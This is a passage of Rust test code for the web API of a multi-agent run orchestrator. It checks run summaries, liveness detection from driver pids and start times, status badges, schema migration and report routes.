19520                assert_eq!(
19521                    d["merged"].as_u64().unwrap()
19522                        + d["ready"].as_u64().unwrap()
19523                        + d["other"].as_u64().unwrap(),
19524                    d["runs"].as_u64().unwrap()
19525                );
19526            }
19527            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
19528        }
19529    }
19530
19531    #[tokio::test]
19532    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
19533        let f = Fixture::start().await;
19534        write_run_repo(
19535            &f.runs(),
19536            "20260902-140501-a",
19537            RunStatus::Merged,
19538            "/repos/a",
19539        );
19540
19541        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
19542        assert_eq!(stats.status, 404);
19543    }
19544
19545    #[tokio::test]
19546    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
19547        let f = Fixture::start().await;
19548        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
19549
19550        let summary = f.get("/api/runs").await.json();
19551        let row = &summary[0];
19552        assert_eq!(row["short"], "a1b2");
19553        assert_eq!(row["status"], "ready");
19554        assert_eq!(row["done"], true);
19555        assert_eq!(row["title"], "Add a web UI");
19556        assert_eq!(row["repo_name"], "magi");
19557        assert_eq!(row["judges"], 3);
19558        assert_eq!(row["winner"], Value::Null);
19559        assert_eq!(row["reviews"], 0);
19560
19561        // The short id resolves, and the detail route is the state itself, not
19562        // a projection of it: the UI reads fields the summary does not carry.
19563        let detail = f.get("/api/runs/a1b2").await;
19564        assert_eq!(detail.status, 200);
19565        assert_eq!(detail.json()["base_branch"], "main");
19566        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
19567    }
19568
19569    /// `status: "ready"` alone cannot tell a run still headed for a landing
19570    /// (a PR closed without merging, say) apart from one `[merge] mode =
19571    /// "none"` left unmerged for good — the confusion the operator flagged
19572    /// after the CLI report already grew a `not landed — nothing to do by
19573    /// design` line for exactly this case (`report.rs`). Both the list route
19574    /// and the detail route must carry a flag the phone can key on instead of
19575    /// re-deriving it from `status` + `merge.mode` itself.
19576    #[tokio::test]
19577    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
19578        let f = Fixture::start().await;
19579
19580        let mut none_run = RunState::new(
19581            PathBuf::from("/repo/magi"),
19582            "main".to_owned(),
19583            "0123456789abcdef".to_owned(),
19584            "Add a web UI".to_owned(),
19585            Config::default(),
19586        );
19587        none_run.id = "20260902-140503-none".to_owned();
19588        none_run.status = RunStatus::Ready;
19589        none_run.merge = Some(crate::run::MergeOutcome {
19590            mode: crate::config::MergeMode::None,
19591            ok: true,
19592            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
19593            empty: false,
19594        });
19595        write_state(&f.runs(), &none_run);
19596
19597        let mut pr_run = RunState::new(
19598            PathBuf::from("/repo/magi"),
19599            "main".to_owned(),
19600            "0123456789abcdef".to_owned(),
19601            "Add a web UI".to_owned(),
19602            Config::default(),
19603        );
19604        pr_run.id = "20260902-140504-prcl".to_owned();
19605        pr_run.status = RunStatus::Ready;
19606        pr_run.merge = Some(crate::run::MergeOutcome {
19607            mode: crate::config::MergeMode::Pr,
19608            ok: false,
19609            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
19610            empty: false,
19611        });
19612        write_state(&f.runs(), &pr_run);
19613
19614        let summary = f.get("/api/runs").await.json();
19615        let rows: std::collections::HashMap<&str, &Value> = summary
19616            .as_array()
19617            .expect("an array")
19618            .iter()
19619            .map(|r| (r["id"].as_str().expect("an id"), r))
19620            .collect();
19621        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
19622        assert_eq!(
19623            rows[none_run.id.as_str()]["unmerged_by_design"],
19624            true,
19625            "a mode-none Ready must be flagged in the list"
19626        );
19627        assert_eq!(
19628            rows[pr_run.id.as_str()]["unmerged_by_design"],
19629            false,
19630            "a Ready reached by a closed pull request is a different case"
19631        );
19632
19633        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
19634        assert_eq!(none_detail["status"], "ready");
19635        assert_eq!(none_detail["unmerged_by_design"], true);
19636
19637        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
19638        assert_eq!(pr_detail["unmerged_by_design"], false);
19639    }
19640
19641    /// `RunState::active` is only ever cleared by whoever populated it, so the
19642    /// detail route also has to say whether a daemon is actually still
19643    /// driving this run right now — otherwise a seat from a killed process's
19644    /// last wave would read as live forever.
19645    #[tokio::test]
19646    async fn run_core_survives_unavailable_related_stores() {
19647        let home = TempDir::new().unwrap();
19648        let ui = delta_test_ui(home.path());
19649        let state = RunState::new(
19650            PathBuf::from("/repo/magi"),
19651            "main".into(),
19652            "0123456789abcdef".into(),
19653            "Useful core instructions".into(),
19654            Config::default(),
19655        );
19656        let dir = ui.runs.join(&state.id);
19657        std::fs::create_dir_all(&dir).unwrap();
19658        std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
19659        std::fs::write(ui.questions.root(), "unavailable").unwrap();
19660        std::fs::write(ui.queue.root(), "unavailable").unwrap();
19661        let core = run_core(State(ui.clone()), Path(state.id.clone()))
19662            .await
19663            .unwrap()
19664            .0;
19665        assert_eq!(core.state.instruction, state.instruction);
19666        assert_eq!(core.state.updated_at, state.updated_at);
19667        assert!(core.task.is_none());
19668        assert!(run_detail(State(ui), Path(state.id)).await.is_err());
19669    }
19670
19671    #[tokio::test]
19672    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
19673        let f = Fixture::start().await;
19674        // Matches `write_daemon`'s hard-coded `current.run`, so the second
19675        // half of this test can claim the daemon is working on it without a
19676        // second helper.
19677        let id = "20260902-140502-bbbb";
19678        let mut state = RunState::new(
19679            PathBuf::from("/repo/magi"),
19680            "main".to_owned(),
19681            "0123456789abcdef".to_owned(),
19682            "Add a web UI".to_owned(),
19683            Config::default(),
19684        );
19685        state.id = id.to_owned();
19686        state.status = RunStatus::Judging;
19687        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
19688        let dir = f.runs().join(id);
19689        std::fs::create_dir_all(&dir).expect("run dir");
19690        std::fs::write(
19691            dir.join("run.json"),
19692            serde_json::to_string_pretty(&state).expect("serialize run"),
19693        )
19694        .expect("write run.json");
19695
19696        // No daemon.json at all, and no `driver_pid` recorded either (this
19697        // state was written directly, never through `execute()`): there is
19698        // nothing to confirm either way, so the route must say `"unknown"` —
19699        // never `"dead"`, which is exactly the false diagnosis a manual `magi
19700        // run` used to get from this route before `driver_pid` existed.
19701        let cold = f.get(&format!("/api/runs/{id}")).await.json();
19702        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
19703        assert_eq!(cold["live"], "unknown", "{cold}");
19704
19705        // A fresh heartbeat naming exactly this run: the same entry now reads
19706        // as confirmed, not merely recorded.
19707        write_daemon(f.home.path(), Timestamp::now());
19708        let warm = f.get(&format!("/api/runs/{id}")).await.json();
19709        assert_eq!(warm["live"], "live", "{warm}");
19710    }
19711
19712    #[test]
19713    fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
19714        let home = tempfile::tempdir().expect("temp home");
19715        let runs = home.path().join("runs");
19716        for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
19717            let mut state = RunState::new(
19718                PathBuf::from("/repo/magi"),
19719                "main".to_owned(),
19720                "0123456789abcdef".to_owned(),
19721                "Generated review context, not authored task criteria".to_owned(),
19722                Config::default(),
19723            );
19724            state.origin = origin;
19725            state.status = RunStatus::Blocked;
19726            // Earlier migrations must not infer these facts again.
19727            state.driver_exited = false;
19728            state.gate_ran = true;
19729            let expected = serde_json::to_value(&state).expect("serialize current state");
19730            let mut legacy = expected.clone();
19731            legacy["schema"] = serde_json::json!(13);
19732            legacy.as_object_mut().unwrap().remove("task_instruction");
19733            let dir = runs.join(&state.id);
19734            std::fs::create_dir_all(&dir).expect("run dir");
19735            let path = dir.join("run.json");
19736            let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
19737            std::fs::write(&path, &body).expect("write legacy run");
19738
19739            for loaded in [
19740                RunState::load_under(&state.id, home.path()).expect("CLI migration"),
19741                read_run(&runs, &state.id).expect("web migration"),
19742            ] {
19743                assert_eq!(loaded.schema, crate::run::SCHEMA);
19744                assert!(loaded.task_instruction.is_none());
19745                assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
19746            }
19747            assert_eq!(runs_unreadable(&runs), 0);
19748            assert_eq!(std::fs::read(&path).unwrap(), body);
19749        }
19750    }
19751
19752    /// Where a run came from is shown, and a run written before origins were
19753    /// recorded (schema 12, no `origin` key) stays readable and says so.
19754    #[tokio::test]
19755    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
19756        let f = Fixture::start().await;
19757        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
19758            let mut state = RunState::new(
19759                PathBuf::from("/repo/magi"),
19760                "main".to_owned(),
19761                "0123456789abcdef".to_owned(),
19762                "Add a web UI".to_owned(),
19763                Config::default(),
19764            );
19765            state.id = id.to_owned();
19766            state.origin = origin;
19767            let mut value = serde_json::to_value(&state).expect("serialize run");
19768            if let Some(schema) = schema {
19769                value["schema"] = serde_json::json!(schema);
19770                value.as_object_mut().unwrap().remove("origin");
19771            }
19772            let dir = f.runs().join(id);
19773            std::fs::create_dir_all(&dir).expect("run dir");
19774            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
19775        };
19776        write(
19777            "20260930-092817-ec34",
19778            Some(crate::run::Origin::from_agent_env(
19779                Some(("4a7b".to_owned(), "chat".to_owned())),
19780                None,
19781            )),
19782            None,
19783        );
19784        write("20260930-092817-0ld1", None, Some(12));
19785
19786        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
19787        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
19788        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
19789
19790        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
19791        assert_eq!(
19792            old["origin_label"], "origin unknown (started before origins were recorded)",
19793            "{old}"
19794        );
19795        assert!(old["origin"].is_null(), "{old}");
19796
19797        let list = f.get("/api/runs").await.json();
19798        let labels: Vec<_> = list
19799            .as_array()
19800            .unwrap()
19801            .iter()
19802            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
19803            .collect();
19804        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
19805    }
19806
19807    #[tokio::test]
19808    async fn run_progress_observation_exposes_activity_without_control_evidence() {
19809        let f = Fixture::start().await;
19810        let mut state = RunState::new(
19811            PathBuf::from("/repo"),
19812            "main".into(),
19813            "abc".into(),
19814            "task".into(),
19815            Config::default(),
19816        );
19817        state.status = RunStatus::Implementing;
19818        state.seat_started(
19819            "implement",
19820            "implement-A",
19821            std::time::Duration::from_secs(60),
19822            0,
19823        );
19824        state.save_under(f.home.path()).unwrap();
19825        let observed = f
19826            .get(&format!("/api/runs/{}/progress", state.id))
19827            .await
19828            .json();
19829        assert_eq!(observed["id"], state.id);
19830        assert!(observed["observed_at"].is_string());
19831        assert_eq!(observed["updated_at"], state.updated_at.to_string());
19832        assert!(observed["progress"]["activity"].is_string());
19833        for field in [
19834            "config",
19835            "candidates",
19836            "land_approval",
19837            "task",
19838            "waiting",
19839            "done",
19840        ] {
19841            assert!(
19842                observed.get(field).is_none(),
19843                "progress must not expose control evidence: {field}"
19844            );
19845        }
19846    }
19847
19848    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
19849    /// review` claims no daemon at all, so before this field existed the
19850    /// route above read it as `"dead"` — indistinguishable from a run a
19851    /// killed process abandoned — the whole time it was genuinely still
19852    /// answering. With a live pid recorded, it must read `"live"` even
19853    /// though no daemon claims it.
19854    #[tokio::test]
19855    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
19856        let f = Fixture::start().await;
19857        let id = "20260922-090000-cccc";
19858        let mut state = RunState::new(
19859            PathBuf::from("/repo/magi"),
19860            "main".to_owned(),
19861            "0123456789abcdef".to_owned(),
19862            "Review only".to_owned(),
19863            Config::default(),
19864        );
19865        state.id = id.to_owned();
19866        state.status = RunStatus::Reviewing;
19867        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
19868        // This test process's own pid: guaranteed alive, and never needs a
19869        // real daemon or a second process to prove it. The matching start-time
19870        // marker is what `liveness` now requires alongside a live pid — see
19871        // `RunState::driver_started_at`'s own doc for why the pid alone is
19872        // not enough.
19873        state.driver_pid = Some(std::process::id());
19874        state.driver_started_at = Some(
19875            crate::proc::process_started_at(std::process::id())
19876                .expect("this test process's own start time must be queryable"),
19877        );
19878        let dir = f.runs().join(id);
19879        std::fs::create_dir_all(&dir).expect("run dir");
19880        std::fs::write(
19881            dir.join("run.json"),
19882            serde_json::to_string_pretty(&state).expect("serialize run"),
19883        )
19884        .expect("write run.json");
19885
19886        let detail = f.get(&format!("/api/runs/{id}")).await.json();
19887        assert_eq!(detail["live"], "live", "{detail}");
19888    }
19889
19890    /// A killed manual run's pid can be handed to a wholly unrelated later
19891    /// process — a live query on `driver_pid` alone would read this as
19892    /// `"live"`, exactly the false positive `driver_started_at` exists to
19893    /// catch (see that field's own doc, and `RunState::liveness_with`'s
19894    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
19895    #[tokio::test]
19896    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
19897        let f = Fixture::start().await;
19898        let id = "20260922-090100-dddd";
19899        let mut state = RunState::new(
19900            PathBuf::from("/repo/magi"),
19901            "main".to_owned(),
19902            "0123456789abcdef".to_owned(),
19903            "Review only".to_owned(),
19904            Config::default(),
19905        );
19906        state.id = id.to_owned();
19907        state.status = RunStatus::Reviewing;
19908        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
19909        // This test process's own pid really is alive, but the marker
19910        // recorded here does not match what it actually started at —
19911        // standing in for the pid having since been reused by a different
19912        // process than the one that wrote `run.json`.
19913        state.driver_pid = Some(std::process::id());
19914        state.driver_started_at = Some("1".to_owned());
19915        let dir = f.runs().join(id);
19916        std::fs::create_dir_all(&dir).expect("run dir");
19917        std::fs::write(
19918            dir.join("run.json"),
19919            serde_json::to_string_pretty(&state).expect("serialize run"),
19920        )
19921        .expect("write run.json");
19922
19923        let detail = f.get(&format!("/api/runs/{id}")).await.json();
19924        assert_eq!(detail["live"], "dead", "{detail}");
19925    }
19926
19927    /// The deck's competition list is normally the first place an operator
19928    /// sees an old run. It must carry the same process verdict as detail, or
19929    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
19930    #[test]
19931    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
19932        let mk = |id: &str, pid: Option<u32>| {
19933            let mut s = RunState::new(
19934                PathBuf::from("/repo/magi"),
19935                "main".to_owned(),
19936                "0123456789abcdef".to_owned(),
19937                "Add a web UI".to_owned(),
19938                Config::default(),
19939            );
19940            s.id = id.to_owned();
19941            s.driver_pid = pid;
19942            s.driver_started_at = Some("1790000000".to_owned());
19943            s
19944        };
19945        let states = vec![
19946            mk("20260902-140502-aaaa", Some(77)),
19947            mk("20260902-140502-bbbb", Some(77)),
19948            mk("20260902-140502-cccc", Some(77)),
19949            mk("20260902-140502-dddd", None),
19950        ];
19951        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
19952        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
19953        let sup: HashMap<String, String> = [(
19954            "20260902-140502-aaaa".to_owned(),
19955            "20260902-140502-cccc".to_owned(),
19956        )]
19957        .into();
19958
19959        let status_calls = std::cell::Cell::new(0);
19960        let identity_calls = std::cell::Cell::new(0);
19961        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
19962            |_| {
19963                status_calls.set(status_calls.get() + 1);
19964                Some(true)
19965            },
19966            |_| {
19967                identity_calls.set(identity_calls.get() + 1);
19968                Some("1790000000".to_owned())
19969            },
19970        ));
19971        let rows = summarize(
19972            states,
19973            &open,
19974            &claimed,
19975            &sup,
19976            |p| probe.borrow_mut().status(p),
19977            |p| probe.borrow_mut().started_at(p),
19978        );
19979
19980        assert_eq!(status_calls.get(), 1, "one pid, one status query");
19981        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
19982        assert_eq!(rows.len(), 4);
19983        assert!(!rows[0].waiting && rows[1].waiting);
19984        assert_eq!(rows[0].live, crate::run::Liveness::Live);
19985        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
19986        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
19987        assert_eq!(rows[1].superseded_by, None);
19988    }
19989
19990    #[test]
19991    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
19992        let mut state = RunState::new(
19993            PathBuf::from("/repo/magi"),
19994            "main".to_owned(),
19995            "0123456789abcdef".to_owned(),
19996            "Review only".to_owned(),
19997            Config::default(),
19998        );
19999        state.id = "20260922-090200-dead".to_owned();
20000        state.status = RunStatus::Reviewing;
20001        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
20002            .expect("serialize list row");
20003        assert_eq!(row["status"], "reviewing");
20004        assert_eq!(row["display_status"], "stale");
20005        assert_eq!(row["live"], "dead", "{row}");
20006        assert!(!row["done"].as_bool().unwrap());
20007    }
20008
20009    #[test]
20010    fn run_display_status_distinguishes_park_crash_and_owner_wait() {
20011        use crate::run::Liveness::{Dead, Live, Unknown};
20012        let mut state = RunState::new(
20013            PathBuf::from("/repo/magi"),
20014            "main".to_owned(),
20015            "abc".to_owned(),
20016            "Review only".to_owned(),
20017            Config::default(),
20018        );
20019        for (status, parked, node, waiting, live, expected) in [
20020            (
20021                RunStatus::Judging,
20022                true,
20023                "github-text",
20024                false,
20025                Dead,
20026                "parked",
20027            ),
20028            (RunStatus::Judging, false, "park", false, Dead, "stale"),
20029            (RunStatus::Judging, false, "judge", false, Dead, "stale"),
20030            (
20031                RunStatus::Judging,
20032                true,
20033                "github-text",
20034                true,
20035                Dead,
20036                "waiting",
20037            ),
20038            (
20039                RunStatus::Judging,
20040                false,
20041                "github-text",
20042                true,
20043                Dead,
20044                "waiting",
20045            ),
20046            (
20047                RunStatus::Judging,
20048                false,
20049                "github-text",
20050                false,
20051                Dead,
20052                "stale",
20053            ),
20054            (RunStatus::Judging, false, "resume", false, Dead, "stale"),
20055            (RunStatus::Judging, true, "park", false, Live, "judging"),
20056            (RunStatus::Judging, true, "park", false, Unknown, "judging"),
20057            (RunStatus::Merged, true, "park", false, Dead, "merged"),
20058            (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
20059            (
20060                RunStatus::Blocked,
20061                true,
20062                "github-text",
20063                true,
20064                Dead,
20065                "waiting",
20066            ),
20067        ] {
20068            state.status = status;
20069            state.parked = parked;
20070            state.events.clear();
20071            state.event(
20072                "park",
20073                "an earlier park does not determine the latest state",
20074            );
20075            state.event(node, "message is not used for classification");
20076            let summary = RunSummary::of(&state, waiting, live);
20077            let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
20078            assert_eq!(
20079                summary.display_status, expected,
20080                "{status:?}/{node}/{live:?}"
20081            );
20082            assert_eq!(detail.display_status, summary.display_status);
20083            assert_eq!(detail.waiting, summary.waiting);
20084        }
20085        state.status = RunStatus::Judging;
20086        state.parked = false;
20087        state.events.clear();
20088        assert_eq!(run_display_status(&state, false, Dead), "stale");
20089    }
20090
20091    #[test]
20092    fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
20093        use crate::run::Liveness::{Dead, Live, Unknown};
20094        let mut state = RunState::new(
20095            PathBuf::from("/repo/magi"),
20096            "main".to_owned(),
20097            "abc".to_owned(),
20098            "Badge".to_owned(),
20099            Config::default(),
20100        );
20101        for (status, waiting, live, superseded, expected) in [
20102            (RunStatus::Gating, false, Dead, false, "stale"),
20103            (RunStatus::Gating, false, Dead, true, "superseded"),
20104            (RunStatus::Gating, false, Unknown, true, "superseded"),
20105            (RunStatus::Gating, true, Dead, true, "superseded"),
20106            (RunStatus::Gating, true, Dead, false, "waiting"),
20107            (RunStatus::Gating, false, Unknown, false, "gating"),
20108            (RunStatus::Gating, false, Live, true, "gating"),
20109            (RunStatus::Gating, true, Live, true, "waiting"),
20110            (RunStatus::Merged, false, Dead, true, "merged"),
20111            (RunStatus::Blocked, false, Dead, true, "blocked"),
20112        ] {
20113            state.status = status;
20114            let display = run_display_status(&state, waiting, live);
20115            assert_eq!(
20116                run_badge_status(&state, &display, live, superseded),
20117                expected,
20118                "{status:?}/{live:?}/superseded={superseded}"
20119            );
20120        }
20121    }
20122
20123    #[test]
20124    fn summarize_and_detail_expose_badge_status() {
20125        use crate::run::Liveness::Dead;
20126        let mut state = RunState::new(
20127            PathBuf::from("/repo/magi"),
20128            "main".to_owned(),
20129            "abc".to_owned(),
20130            "Badge".to_owned(),
20131            Config::default(),
20132        );
20133        state.status = RunStatus::Gating;
20134        let none = HashSet::new();
20135        let id = state.id.clone();
20136        let mut by = HashMap::new();
20137        let rows = summarize(
20138            [state.clone()],
20139            &none,
20140            &none,
20141            &by,
20142            |_| Some(false),
20143            |_| None,
20144        );
20145        // No driver recorded: liveness is not provably dead, so the node stays.
20146        assert_eq!(rows[0].badge_status, rows[0].display_status);
20147        by.insert(id, "20260901-000000-913b".to_owned());
20148        let detail = RunDetailView::of(
20149            state.clone(),
20150            false,
20151            Dead,
20152            Some("913b".to_owned()),
20153            None,
20154            None,
20155        );
20156        assert_eq!(detail.badge_status, "superseded");
20157        let json = serde_json::to_value(&detail).unwrap();
20158        assert_eq!(json["badge_status"], "superseded");
20159        let detail = RunDetailView::of(state, false, Dead, None, None, None);
20160        assert_eq!(detail.badge_status, "stale");
20161    }
20162
20163    #[tokio::test]
20164    async fn run_display_status_routes_share_the_open_question_store() {
20165        let f = Fixture::start().await;
20166        let id = "20260922-090200-abcd";
20167        write_run(&f.runs(), id, RunStatus::Judging);
20168        let mut state = read_run(&f.runs(), id).unwrap();
20169        state.parked = true;
20170        state.driver_exited = true;
20171        state.event("github-text", "waiting for the owner");
20172        state.save_under(f.home.path()).unwrap();
20173        let mut task = Task::new(
20174            "resumed task".to_owned(),
20175            "do it".to_owned(),
20176            PathBuf::from("/repo"),
20177            Source::Human,
20178        );
20179        task.runs = vec![id.to_owned(), id.to_owned()];
20180        f.queue().put(&mut task).unwrap();
20181        let store = f.questions();
20182        let mut q = Question::new(
20183            id.to_owned(),
20184            "github-text".to_owned(),
20185            "owner".to_owned(),
20186            "Approve the text?".to_owned(),
20187            String::new(),
20188            Vec::new(),
20189        );
20190        store.put(&mut q).unwrap();
20191        for expected in ["waiting", "parked"] {
20192            let list = f.get("/api/runs").await.json();
20193            let detail = f.get(&format!("/api/runs/{id}")).await.json();
20194            assert_eq!(list[0]["display_status"], expected);
20195            assert_eq!(detail["display_status"], expected);
20196            assert_eq!(detail["waiting"], list[0]["waiting"]);
20197            assert_eq!(list[0]["badge_status"], expected);
20198            assert_eq!(detail["badge_status"], expected);
20199            assert!(list[0]["superseded_by"].is_null());
20200            assert!(detail["superseded_by"].is_null());
20201            let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
20202            let history = task_detail["history"].as_array().unwrap();
20203            assert_eq!(history.len(), 2);
20204            assert!(history[0]["badge"].is_null());
20205            assert_eq!(history[1]["badge"], expected);
20206            q.status = ask::QuestionStatus::Answered;
20207            store.put(&mut q).unwrap();
20208        }
20209    }
20210
20211    #[tokio::test]
20212    async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
20213        let f = Fixture::start().await;
20214        let id = "20260922-090200-abcd";
20215        write_run(&f.runs(), id, RunStatus::Judging);
20216        let mut state = read_run(&f.runs(), id).unwrap();
20217        state.parked = true;
20218        state.driver_exited = true;
20219        state.event("park", "stopped at a node boundary");
20220        state.save_under(f.home.path()).unwrap();
20221
20222        for expected in ["parked", "stale"] {
20223            let list = f.get("/api/runs").await.json();
20224            let detail = f.get(&format!("/api/runs/{id}")).await.json();
20225            assert_eq!(list[0]["live"], "dead");
20226            assert_eq!(list[0]["display_status"], expected);
20227            assert_eq!(detail["display_status"], expected);
20228            // Model a driver claim followed by a crash before the next event:
20229            // the persisted flag changes, but the last event is still park.
20230            state.parked = false;
20231            state.save_under(f.home.path()).unwrap();
20232        }
20233    }
20234
20235    #[tokio::test]
20236    async fn the_run_list_is_newest_first_and_honours_a_limit() {
20237        let f = Fixture::start().await;
20238        for id in [
20239            "20260902-140501-aaaa",
20240            "20260902-140502-bbbb",
20241            "20260902-140503-cccc",
20242        ] {
20243            write_run(&f.runs(), id, RunStatus::Merged);
20244        }
20245
20246        let all = f.get("/api/runs").await.json();
20247        let capped = f.get("/api/runs?limit=2").await.json();
20248
20249        assert_eq!(all[0]["id"], "20260902-140503-cccc");
20250        assert_eq!(all.as_array().map(Vec::len), Some(3));
20251        assert_eq!(capped.as_array().map(Vec::len), Some(2));
20252        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
20253    }
20254
20255    #[tokio::test]
20256    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
20257        let f = Fixture::start().await;
20258        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
20259
20260        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
20261
20262        assert_eq!(res.status, 200);
20263        assert!(
20264            res.headers
20265                .contains("content-type: text/plain; charset=utf-8"),
20266            "a browser must render it, not download it: {}",
20267            res.headers
20268        );
20269        // The assertion is on content, not on the absence of escapes: colour
20270        // is a process-global that `serve` turns off at startup, and another
20271        // test in this binary may own it while this one runs.
20272        assert!(
20273            res.body.contains("20260902-140501-a1b2"),
20274            "the report is about the run that was asked for: {}",
20275            res.body
20276        );
20277    }
20278
20279    #[tokio::test]
20280    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
20281        // The view names the run's state directory, which reads the process-global home.
20282        crate::run::pin_test_home();
20283        let f = Fixture::start().await;
20284        let id = "20260902-140501-a1b2";
20285        write_run(&f.runs(), id, RunStatus::Stalled);
20286        // A stalled panel and one review round, written through the real
20287        // state file so the route reads what a run really leaves behind.
20288        let path = f.runs().join(id).join("run.json");
20289        let mut v: serde_json::Value =
20290            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
20291        v["tally"] = serde_json::json!({
20292            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
20293            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
20294            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
20295            "met_quorum": false, "rankings": 1
20296        });
20297        v["reviews"] = serde_json::json!([{
20298            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
20299            "e2e_deferred": true,
20300            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
20301                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
20302            ]}]
20303        }]);
20304        std::fs::write(&path, v.to_string()).unwrap();
20305        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
20306        std::fs::write(
20307            f.runs().join("20260902-140502-dead").join("run.json"),
20308            "{not json",
20309        )
20310        .unwrap();
20311
20312        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
20313
20314        assert_eq!(res.status, 200, "{}", res.body);
20315        assert!(res.headers.contains("content-type: application/json"));
20316        let j = res.json();
20317        assert_eq!(j["schema"], 1);
20318        assert_eq!(j["header"]["id"], id);
20319        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
20320        let kinds: Vec<&str> = j["sections"]
20321            .as_array()
20322            .unwrap()
20323            .iter()
20324            .map(|s| s["kind"].as_str().unwrap())
20325            .collect();
20326        assert_eq!(kinds, ["candidates", "tally", "review"]);
20327        let tally = &j["sections"][1]["tally"];
20328        assert_eq!(
20329            (tally["decided"].clone(), tally["provisional"].clone()),
20330            (false.into(), true.into())
20331        );
20332        let round = &j["sections"][2]["rounds"][0];
20333        assert_eq!(round["e2e"]["state"], "deferred");
20334        assert_eq!(round["findings"][0]["severity"], "major");
20335        assert_eq!(round["findings"][0]["blocking"], true);
20336        assert_eq!(round["findings"][0]["state"], "open");
20337
20338        // The raw route keeps working beside it.
20339        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
20340
20341        // An unreadable run is an error, as on the text route, and is counted.
20342        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
20343        assert_ne!(bad.status, 200, "{}", bad.body);
20344        assert_eq!(
20345            bad.status,
20346            f.get("/api/runs/20260902-140502-dead/report").await.status
20347        );
20348        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
20349        assert_eq!(
20350            f.get("/api/runs/20260902-999999-ffff/report.json")
20351                .await
20352                .status,
20353            404
20354        );
20355    }
20356
20357    #[tokio::test]
20358    async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
20359        crate::run::pin_test_home();
20360        let f = Fixture::start().await;
20361        let id = "20260902-140503-delib";
20362        write_run(&f.runs(), id, RunStatus::Merged);
20363        let path = f.runs().join(id).join("run.json");
20364        let mut v: serde_json::Value =
20365            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
20366        v["judgements"] = serde_json::json!([
20367            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
20368        ]);
20369        v["tally"] = serde_json::json!({
20370            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
20371            "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
20372            "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
20373            "met_quorum": true, "rankings": 1
20374        });
20375        v["deliberation"] = serde_json::json!([
20376            {
20377                "round": 1,
20378                "turns": [
20379                    {
20380                        "judge": 1,
20381                        "agent": "judge-1",
